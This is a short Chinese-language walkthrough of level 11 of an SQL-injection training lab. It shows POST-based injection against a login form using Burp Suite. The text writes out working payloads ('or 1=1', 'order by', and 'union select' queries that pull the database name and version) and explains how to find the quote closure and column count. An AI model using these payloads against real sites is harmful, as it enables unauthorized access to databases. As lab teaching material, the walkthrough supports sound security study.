POST注入原理
原理介绍
进入第十一关靶场,我们发现是一个登录窗口,随意提交数据,显示
在url地址进行get提交,发现一直是登录窗口,页面无其他变化,想到post提交注入。
通关原理
打开靶场源码文件。
查看提交方式。
我们可以添加语句来查看我们提交语句后后台查询的语句
echo $sql;
进行注入
可以使用hackbar插件进行post提交注入,也可以使用burp suite进行注入,本次使用burpsuite
随意提交参数
报错登陆失败,图片中黄色部分是因为前面添加的echo $sql;
在实际的环境中,我们需要经验来猜测和尝试,加上是方便大家理解原理。
抓包发送到burpsuite。抓包数据
将其发送到Repeater模块。
判断闭合方式,列数,回显位置
因为我们查看过源码,知道闭合方式为单引号,在实际测试中可以尝试各种闭合方式。比如','),')),","),"))
等。
post提交语句
.>uname=asf’ or 1=1 --+ &passwd=asdg&submit=Submit
可以看到 SELECT username, password FROM users WHERE username=‘asf’ or 1=1 --+’ and password=‘’ LIMIT 0,1为查询语句,这是web服务器接收到的,再进行数据库查询比对时,实际语句为
SELECT username, password FROM users WHERE username='asf’ or 1=1;
判断列数
uname=asf’ order by 4 --+ &passwd=asdg&submit=Submit
4的时候不对,当为2时,显示正确,列数为2
.
回显位置:
uname=asf’ union select 1,2 --+ &passwd=asdg&submit=Submit
查询数据库
uname=asf ’ union select database(),version() --+ &passwd=asdg&submit=Submit
爆数据库
其他操作与union注入语句大差不差